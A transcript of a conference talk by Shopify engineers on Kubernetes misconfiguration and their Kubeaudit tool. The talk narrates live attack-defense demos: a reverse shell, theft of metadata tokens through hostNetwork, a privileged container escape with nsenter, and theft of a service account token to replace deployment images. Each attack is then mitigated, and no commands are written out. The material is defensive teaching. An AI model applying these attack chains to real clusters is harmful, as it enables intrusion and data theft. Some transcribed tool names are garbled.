 Welcome to my snake oil sales pitch. I hope you're excited to have a chance to purchase an easy cure for all of your security woes. If you call right now, then I'll throw in an instant service mesh, just add water. I want to know, who here knows pretty much all of the Kubernetes security settings that are on by default? And also, which ones are needed by all of your applications? And please keep your hand up if you've never copied and pasted from one manifest to another. I never made a mistake in a YAML file, and nobody except you has access to create or modify workloads. It's just me, and I'm lying. So I have nothing to teach you if you still got your hand up. But for everybody else, let's go look for some foot guns. That's me, also me. I've been breaking systems since I was a kid, and my professional experience in security started in the military doing intrusion detection systems. I was a senior consultant for an MSSP for a while with these big government and financial sector clients. And so it was a huge relief in 2017 when I joined Shopify and got to work on this new fangled Kubernetes thing that just about all of my other clients would have been terrified of. But Kubernetes and I have both come a long way since then, and I've learned quite a bit in that time. I'm really excited to be here with Danny as well. Danny? Yeah. Thank you, Shane. Hi, I'm Danny Santos. I work at Shopify with Shane in the Infrasact team. I joined back in 2020. And from the time I joined until now, the security attack landscape has changed considerably, especially with a lot of companies opting for the remote work approach. And I've learned a thing or two about Kubernetes over these years and how we can harden our clusters to avoid takeovers. I hope by the end of this talk, you will walk away with some ideas on how to mitigate some risks. So here's the agenda. We're going to start talking about why we should care about misconfiguration. And then we're going to talk about Cubotted, a tool that we use internally. And the security principles it implements. And then we're going to run a little demo where we're going to show you the simple trick. You're going to see Cubotted in action. And we're going to run some attack-defense scenarios. And then we're going to talk about how exactly we use Cubotted at Shopify. And then we're going to finish by sharing some additional resources. Well, every year, Red Hat releases a report which analyzes emerging trends in container Kubernetes and cloud native security. It's called the State of Kubernetes Security Report. The latest one was released last year. It was a survey conducted with more than 300 engineering professionals and security professionals as well. And pretty much the companies use this report to benchmark themselves against the findings to determine how they can accelerate their efforts to apply security controls. And as you can see here in the key findings, 53% of respondents have witnessed incidents related to misconfiguration in Kubernetes in the 12 months prior to this study. So this goes to show how common misconfiguration incidents are. It is a top concern. They mentioned in this report that respondents worry about it above all other security concerns. And the reason being is configuration management is hard. It poses difficult challenges for the security practitioners. Because a lot of times, the people responsible for configuring the workloads may not understand all the security implications of the different settings within Kubernetes. In February 2021, Robert Abba from Hacker One mentioned customers paid out over $150,000 in bounties in just a few weeks due to misconfiguration. So not properly setting your configurations can be very expensive. But it can be even more so if it hits production. Let's take a look at one example of possible misconfiguration attack. Back in September 2021, Palo Alto Network's research team, Unit 42 Threat Intelligence, identified the very first non-vulnerability that allowed the user of a public cloud service to break out of their environment and execute code and environment belonging to other users in the same public cloud service. TLDR, cross account takeover. This vulnerability was coined Azure Escape because the cloud provider in question was Azure, and Escape because the attack started from a container escape. We don't mean to put Azure or Microsoft on the spot here. We're bringing this example to your attention just because it's really scary and interesting. By the way, luckily, there's no record of this attack being exploited in the wild, at least not that we know of. And that's due to the fact that Microsoft and team acted super fast. As soon as the researchers flagged it, they packed their containers. So the researchers managed to escape the containers through unknown vulnerability in RunC. RunC is the low-level container runtime which uses native features of Linux to create and run containers. This EV was two years old already, and it had not been patched. And that was a patch. With that, they were able to perform, the researchers performed RCE on customer containers. And the problem with this is that the attacker could gain complete control over servers, accessing all data and secrets towards the environment, allowing for platform infrastructure views of all sorts. But for the CVE to be exploited, root access in containers was required because the RunC binary is owned by root. And the question we can ask ourselves is, what if folks had leveraged security contacts in Kubernetes configuration to avoid containers running as privileged? Or what if they had set Run as user to something other than user zero, say, user 1,000? Yeah. So I think it's clear that Kubernetes is not inherently secure out of the box. And there's a pretty good reason for this. Kubernetes needs to be very flexible and needs to support a huge variety of workloads and privileges that are necessary for one workload. For example, Damon said optimizing a system for a database workload. It could be inherently unsafe for those same privileges to be applied to another. For instance, a public web server. And we're not the first ones to point this out. The flexibility means that it just can't be secure for every different kind of workload, but there are plethora of security tools that are available to us that can make it secure. We just have the challenge of knowing which ones to use and when. It's not easy to get this right every single time at scale. And we discovered this pretty early on, I think, in 2017. We saw that we were going to need some automation for this. We saw that we were going to need some rigorous controls around this. And at the time, we couldn't find anything on the market. We couldn't find anything open source. So we made our own. There are a lot of great tools now, some I think we're starting around the same time, but we've sort of found a niche with Kubot it. So it's actually used by several companies in open source projects. And I was really excited when we were preparing for this talk because Danny pointed out that Kubernetes Go, which is an awesome tutorial for learning Cate's security, actually recommends this in one of its tutorials. So let's take a look at what Kubot it could have done to help with Azure Escape. That was a pretty scary vulnerability. We're lucky that it probably wasn't exploited in the wild, but it wasn't necessary that even with that vulnerability, bad things had to happen if it had been released in the wild. This Azure Escape vulnerability was only exploitable in root containers with high privileges, and Kubot it actually flags both of those. It also flags containers with capabilities that are not required by most workloads. Since those are more likely to be exploited and when they are exploited, the danger is much greater. There's nothing that Kubot it does though that you couldn't apply yourself. So it's actually a lot more important in my opinion that you understand and use the principles that we put into creating Kubot it. Doing this at scale though, it requires automation, it requires tooling to help with that, and Kubot it is just one of a whole bunch of tools you can use for this. You should have a comprehensive security posture, so I would never rely on just one tool, but the crux of this is that pods shouldn't have more privileges than they need to do their job, and so that's least privilege, and then you should have separation of duties where the thing that does one job should not share a workload with a thing that does another job because they have different requirements for different permissions, and above all, none of those workloads should share resources with the hosts that they're running on itself or the infrastructure that's running those workloads. So it wouldn't make sense for my web server to have complete access to the Kubernetes API, but there are many smaller examples of things that do not require the same privileges that actually have them just because they're baked into the same pod or the same container. So this is the closest thing that we have to one simple trick to solving your security problems. The left is a little bit prettier, it's more concise, but it's also a lot more insecure. It uses a lot of defaults that are not necessarily the best for most workloads. The right one, on the other hand, mitigates a whole bunch of vulnerabilities, as we'll see in a minute, and so this is the closest thing we have to one simple trick, it's Kubota auto fix, and in manifest mode, this is showing that it can automatically patch insecure configurations. So we've set up a demo website to see how this might be exploited. To be clear, this is not how Shopify works, it just so happened that when I asked all of my friends what kind of website to build for my demo, they all said e-commerce. So, okay, that's what I see. Going to show you this website. So this is the Kuberware Emporium, and if you're looking for custom attire for shipping and style, then we have all of your Kubernetes attire needs, and we can add images on here, and they will appear on the t-shirt, just like magic, and so you have the ability to customize this, and for the sake of this t-shirt store, we're using image magic to render the image on the shirt. It's a really popular tool, it's used all over the place, and unfortunately with its flexibility, it's also prone to vulnerabilities. It's called image tragic, and basically you could embed a payload inside an image, and it would just execute the script that you put in there. Now, we didn't want to use an old and secure version of image magic, so we've just skipped the pretense of trying to render an image, and instead, whenever we upload a script, our purposely vulnerable application is just going to execute whatever we put in there, and the point of this is we want to focus on Kubernetes security. We know that your application eventually is going to have vulnerabilities, and we want to focus on what you can do to minimize the impact of those and prevent escalation or traversal when that happens. So, I'm running a proxy here because our application is so woefully insecure I didn't want to put it on the public internet, other than that, you can see we're just running it on localhost, and I'm going to SSH into an attacker machine because I think that it's probably more realistic if you're able to catch a reverse shell than that. The pod itself would just be open to the public internet, so I'm going to fire up this listener, and we're going to listen for any incoming traffic on my attacker machine, head back here, upload that script, and what do you know, we got a connection. So, you can see from the host name here, this isn't my attacker.eu machine anymore, we're now inside of a pod, and we can poke around and see what's in here, and I can see like, oh, look, there's the index.html file, and I can do sort of a trivial example of how we might mess with that as an attacker, so I'm just going to put that in there. Typing is harder in front of people, and I'm not that good at it to begin with, and let's see what that did. So, we're going to go back to our webpage, reload it, and it's going to be really hard to sell t-shirts if this is all we can see on our webpage. Fortunately for us, there is a way to fix it. Danny's going to show that. Oh my God, I've been paged. We cannot sell t-shirts. What happened? They were able to write, so likely they have some permissions that they shouldn't have. Luckily, I'm going to use Cubotted to automatically fix stuff. So, I'm going to run autofix on this, sorry. I think you just need to hold the M over. Oh yeah, if only I could type. And just to show you the difference after applying the changes, forgot the L. As you can see here, after running Cubotted autofix, read-only-root-file-system is set to true, so he can no longer write, he can only read. I'm going to apply the changes and deploy the fix. All right, should be live. Okay, so we'll go back to our page, reload that, and it might take a second if the Wi-Fi is not perfect. Well, we're waiting for that to finish creating the pod. The reason that this is not enabled by default is lots of workloads do require the permission to change the root-file-system, but ideally, containers should be as close to immutable on the root-file-system as they can be, and then you can mount tempters or other things as necessary so that you can write to the places that should not have set at content. With these changes, you can see they're live now. I'm just going to leave that old reverse shell, start listening for new ones, fire off that malicious workload again, and we've got the reverse shell, and I'll just go up here and I'm going to copy and paste exactly the same command as before, and this time, it does absolutely nothing because we're on a read-only-file-system, so this is best practice if the contents of the root-file-system is static, but it's not turned on by default, and just by turning that on with autofix, you can completely mitigate that particular attack. It's a bit trivial, but let's see another example. So we're gonna go ahead and apply another vulnerability as you've probably guessed from the title. This one's gonna have host network enabled. That is not enabled by default. You shouldn't have it enabled for most of your workloads, but I've seen this a number of times where people are following a tutorial or they're following something that they saw in a manifest somewhere. They're copying and pasting, and they turn this on because they want to hear from a number of different pods that are running on the same system, maybe for observability workloads or even other security functionality. This is really problematic though, because if you have host network enabled, it's going to share the network with the host itself, as you might guess. That can bypass all network policies, so anything that should isolate this workload from the other tenants in your cluster are going to be bypassed, and unfortunately it's also going to bypass about five years of improvements we've made in the metadata service that runs on just about every cloud provider, and you can see here, this is my host name now, it's different from the shop web pod that I was in before because we're sharing the network with the host itself, and if you're familiar with the instance metadata service, this is the same address on every cloud provider that I'm aware of, and it's pretty useful. It can tell you where in the world you are, and it can give you tokens that you should have access to, or in this case, because we've got host network enabled, tokens that we should not have access to, so I'm going to go ahead and copy that, and I'm going to exit my reverse shell there, save that token on my attacker machine, and at this point I would, as an attacker, have to kind of go through and enumerate my privileges, it would take some time, but we're going to skip demonstrating the reconnaissance, and I'll just go ahead and show you what would happen once I found something that I had privileges to access, so in this case, I found that the account that the host was running had access to a shop demo PCI keep out bucket, which sounds very interesting to me as an attacker, and I'm going to go ahead and look at what's in there using just that token that I got, if I can type that is. Okay, so this is going to be a really big problem in your next PCI audit, and it's probably going to upset a lot of your customers, because of course, here we've got all of the historical transactions that were processed by the shop. Now, there's no reason that some new person buying that needs to have access to all of this old data, so it should be blocked, but in our case it wasn't, and of course there's a fix that Danny can show you. Yeah, once again, you bought an audit fix to the rescue. You have the difference? Yeah, as you can see now, like it's back to the default, which is host network set to false, and then Shane's going to see if he can attack our GCS bucket this time, unlikely, I'm going to apply the changes. Okay, so this time it went a little bit quicker, thankfully, that container is up and running. We can see it there, and I'm going to start listening again on my attacker machine for that incoming connection, fire off the malicious payload, and of course, we're back in. This time you can see it just has the pod ID, and I'm going to run the same curl command, and what I expect is I am going to get a token, but this time instead of the host's identity, it's just going to have the identity that it should have of the pod itself, so it'll have the privileges necessary to sell those t-shirts. It won't have the permissions required to do just about anything else. So there it is, running the same command again with my new token file, and of course we get a forbidden error because this service account doesn't have those permissions, so this is implementing the least privilege that we talked about, and finally, we'll go on to our third demo. So the first one was extremely trivial, and attempting to modify that would only really affect the very first replica, or the one that you had access to in that first pod. If you were running dozens or even hundreds of replicas, then there's a very low chance that any given user would hit the one that you've attacked, and also the defender could just replace the whole deployment, and it would replace all of your changes. The second one, we still don't have persistence, we didn't really change a whole lot, but we were able to get a lot of historical data, and exfiltrate that, and that would be extremely valuable, but if we really want to take over the whole cluster, then we can take advantage of privilege containers. Now, it might seem strange that you would run a container as root, or enable all of these additional privileges, but even the nginx container, the nginx image on Docker Hub by default runs as root for some reason, and so if you're just copying and pasting, if you're following a tutorial, even if you've done this a hundred times and you just didn't think of it, you just said from nginx, you're going to get a root container. For this example, we've also got hostpid turned on to make it go a little faster. That shares the process space with the host, and is also problematic, but even if we didn't have that, it would just take about 10 more minutes to use a container escape that was demonstrated at Black Hat 19, and that would allow you to skip the whole hostpid part of it and do exactly what we're going to do with just privileged. So we can see our container is running, and I'm going to listen for that. Reverse shell again. Fire off our malicious payload. Okay, and I caught it, and we're going to see right away this looks really different. If we take a look at the file system, this isn't the container file system anymore. It's got everything the container's got. It's also got everything that the root file system has, and we can go ahead and use Anna Center. This is going to change our namespace from the default one that we were running in as the container, and because we had that hostpid and we are running as a privileged root user, we can escape the container completely and change into the host's namespace, and we can take a look at this. So we're running as root here. Now that we've done this, we can do whatever we want. So one thing you might want to do in this case is add your own SSH public key to any authorized keys files you find on the system so that you get complete persistence. You can go back and log in as any user you want. That also makes it hard to attribute anything if defenders do find that you've been accessing it later, then it might look like somebody else was doing what you've actually been doing. So we're going to enumerate the containers. If this was a real attack, I would have to take some time to look at the permissions of all of these. In my case, I know that this one here happens to run in kubesystem, and it has a whole bunch of extra privileges. And once we're in there, you can see this is the stuff that's inside that pod directory, and I'm just going to look for the token, and there it is. So this is the Kubernetes service account token for this kubesystem highly privileged workload, and I'm going to steal that token. I'm going to save it in an environment variable, I just noticed my proxy stopped here, so I'm gonna start it again. I'm going to save it in an environment variable because what better place to store a secret than there? And once I've got that, I can copy, I'm not going to try to type this whole thing live. It's about five lines if it was condensed, but it would be very painful for all of us. I think if I tried to type this out live, so this is a pretty simple curl command, it's just broken down to make it a little bit easier to see, and you can see in here, we're just replacing it with our own image, so I'm gonna take that and run that command, and this is some ugly JSON, you don't need to read it all. The important part is this part here, the message replica set has successfully progressed. So that means whatever command we just ran has replaced the running image for every single replica everywhere in the world with the one that we as the attacker have chosen. And of course, we've completely defaced this webpage, something terrible has happened, Fippy has turned to a life of cyber crime because we failed to defend our cluster, and it's going to be really hard to sell t-shirts now, or it may be easier, but for the attacker. So this has obviously been defaced, but what a real attacker would more likely do is they might run a coin miner on your website using your compute resources to generate money for them, or they might go ahead and leave the appearance exactly the same, but just put a credit card skimmer on there that's going to send all of your customers credit card numbers to them, or it might do something even more nefarious, they've got complete persistence because they are able to take advantage of that, and it can easily be done if your workloads do not have the lockdown permissions that we recommend, and unfortunately by default, so many of them don't. So of course, we're going to see how you can defend against that. All right, you guessed it, you bought it, auto fix. Okay, to my defense, this is not my computer, so I'm having a hard time. What have I missed? Okay, I see, I see, I see that show, yeah. Okay, you see a bunch of things, like it turned off, allow privilege escalation, it also set privilege to false and run is no root to true, a bunch of goodies, and change can no longer attack us. Oh, have to deploy, just deploy. And in the pod security context, having run is not root is important because it means that even if the Docker image itself has specified that it's going to run as a root user, that will not be allowed by Kubernetes, it will refuse to allow that to run unless you add run as user and change it to something other than root, if the Dockerfault doesn't specify it, then it's trivial to just run as a specified user in the Kubernetes YAML, it's really up to you where you apply it, but it is, of course, important that you apply it. There are very few workloads that really need those privileges, that really need to run as root on your systems, and so I would almost never recommend doing this. In cases where it's just assumed that there are root privileges, there are usually ways of getting around that. I know Greg Castle's gonna talk about some of the work that Google did to try to de-escalate those privileges at Google, and so I'm just gonna go ahead and run the exact same NS-enter command that I ran before that allowed me to escape onto the host, and of course I'm gonna get permission denied because I'm not root. I don't have those privileges. I can't do any of that anymore. All right, so easy, right? I just run autofix and all our problems are gone. It's not, oh, yep. But in fact, we actually have bad news. There's no simple trick. It's not the only thing you have to do in order to keep a complex system like this secure. That might be enough for this simple architecture that we just demoed here, but in the actual production clusters, such as those of Shopify, where you have thousands of transactions per day, there are many other aspects we need to address in order to make sure all holes in the castle are properly patched and the walls are safe. You can enhance your infrastructure security at different stages of the software development life cycle. For example, at CI, there's been a lot of talk about shifting security left and how important it is to surface security concerns as early as possible. For example, you can add a step in your build to run some tools to catch vulnerabilities in container images early on. Image scanning tools provided by SNCC, Trevi, and Encore can be really helpful here. Even cloud providers like Google Cloud offer container image scanning as a service. We can also run SAS tools, static application security testing tools, such as SAMGRAP at CI. They will flag vulnerabilities in the code. We can also run tools like Qbot at CI, which will flag vulnerabilities in your Kubernetes infrastructure as code. And that's exactly how we use it at Shopify. In fact, there are many layers in the security on it. I'd like to mention that we do have secure defaults. We have custom templating system and we have base Kubernetes components with configurations that conforms to the best security practices. However, we trust and empower the developers. They can craft their pods and containers if they believe it is needed. So they can modify the base component and deviate from the happy path, and that's when problems may come up. We currently have over 17,000 repos at Shopify. And how do we make sure developers are continuously integrating changes and not introducing this config? In other words, how do we make sure developers are aware of potential risks when they push changes? We believe it's important to raise security awareness. If developers are, for example, running their containers as privilege or something nasty could happen, as Shane has just demonstrated here, maybe they don't really want to need this. Maybe they might just go for something a little less permissive. They're just not aware of it. So we have an additional step where we scan the Kubernetes manifest with kubotit. We generate a serif report. Serif is the format that several code scanning tools use to share results, including GitHub code scanning. So we generate the serif report. We upload it to GitHub, and we let GitHub code scanning do its magic. If there are critical or high-risk vulnerabilities, we see a failing check at CI. And then folks are able to read more about why it failed, there's a link to documentation, more information on the offending configuration, and why it poses a security risk. And with GitHub code scanning, it's very easy for developers to opt out if the alert is not applicable. They can choose among one fix, false positive, or used in tests, and even add a comment to justify or provide feedback. They can also use custom Kubernetes, kubotit, sorry, not kubotit, it's kubotit configuration, disabling some of the checks, or even kubotit override labels. So this is collaborative security rather than adversarial security. With this flow, developers are security allies. We also have monitoring plays to observe how often the alerts are dismissed, and these metrics are relevant because it allows us to fine-tune our alerts and avoid presenting false positives to devs. And the reason this matters is because alert fatigue reduces devs trust. And we want to avoid the boy who cried wolf behavior. This refers to the Isoap fable, and every fable has a moral, and the moral of the story is if you're a liar, even when you tell the truth, no one will believe you, and we don't want developers to think we're liars. So that's what we're doing at Shopify. What else are we doing? What can you do? Once your manifests are secure, you need to branch out. You need to look at how you can apply those same principles at build time, deploy time, run time, all the time. Build a trust model for your cluster. These are some of the things you can start working on. And then here is how you can sort of map what you've done to what you need to do. So this is just one example. This is the MITRE attack framework. There are many like it. Sands has some good recommendations for how you can do this. And the idea is that you want to figure out where you're succeeding already, what you've neglected, and where you're just not sure. And by using maps like these, you can figure that out and then prioritize the rest of the work that remains. You can also look at things like the OWASP top 10, and that'll tell you what's actually being exploited in the wild so that you can evaluate your own defenses and find out if you are going to successfully be able to defend against those. So we're gonna make the repo available if you wanna look at this yourself. We've added a whole bunch of other resources there. We've seen a few ways today that Cates can go wrong. And if we want Cates to go right, then we need to apply these security principles. To apply them effectively, it's gotta be automated, it's gotta be flexible, and it has to be collaborative. There's no simple trick that's going to work all of the time in every situation. So please try to apply these principles in your own environment, share your lessons with us, or even share our tooling. PRs are always welcome, and we hope that you'll help us to secure all of our software. Thank you. Unfortunately, we have time for questions. One minute. Can we get the mic turned on for questions? Hello, hello. Thank you for your awesome presentation with the attack response. It was awesome. Can you elaborate a little bit more about how we can use Cubudit with either Helm operators, maybe plug-in and code editors, GitOps, things like this, do you understand what I mean? Yeah, of course. So we don't specifically use Helm at Shopify, but you can scan any Kubernetes manifest either in a file or in the cluster using Cubudit. I mean, you can do the same with Trivi and Sneak have similar tools. What we found is Cubudit focuses on a small niche number of things that we thought were the most important. And so I think it would be probably good to implement with something like Helm, not using the auto-fix mode, but using it in cluster mode. So once Helm has deployed it, you could use Cubudit to monitor what it is that you're already running. And that would be both a good tool for identifying what's wrong as well as for seeing what you can do next because it's going to show you the things that Helm did by default that are insecure. And I can almost guarantee that with any workload, you're going to find some things that don't follow best practices. And then in some sort of staging or test environment, you could try turning those off, editing your Helm files, and seeing if you can make security improvements that way. And in many cases, even contribute those back to Helm if the Helm workload was overprivileged to begin with. It would be awesome to have an integration in VS code or things like this to linter or real-time when you're writing your manifest, for example. I agree. We've had a hard time deciding on exactly the best place to implement this. So originally it was running just in cluster mode, and then we found that actually we really want to identify those problems before they're running in production. So that's why at Shopify, we're using it in GitHub. So as soon as you commit it, you might have done something wrong. But once you push that up to GitHub, RCI is going to scan it as soon as it reaches GitHub. And that's going to run it on the file and tell you or the developer what may be insecure about that. And as we saw in the screenshot that Danny showed, it then has the ability for the developer to tell us, like, actually, you got this completely wrong and we can see that feedback. Or if it's right, they can just apply that and move on with a more secure workload with very little work on their part. Thanks. Hello. So the question is, we use GitHub. Is there an option to use GitLab as well? And our own integration at Shopify only uses GitHub, but Kubot it would work just fine with any provider. You just need to add the step in your CI process so that it will run the scan and then integrate with whoever your code repository is so that you can apply the interaction with the developers. And that's where you would have to do the work yourself is to have the ability for the developers to give you that feedback or create the automatic implementation of whatever change you've made. You could do that if you wanted a completely vendor-neutral platform. You could do it with Git pre-commit hooks if you really wanted to. I don't see any more questions. Thanks, everyone. Thank you.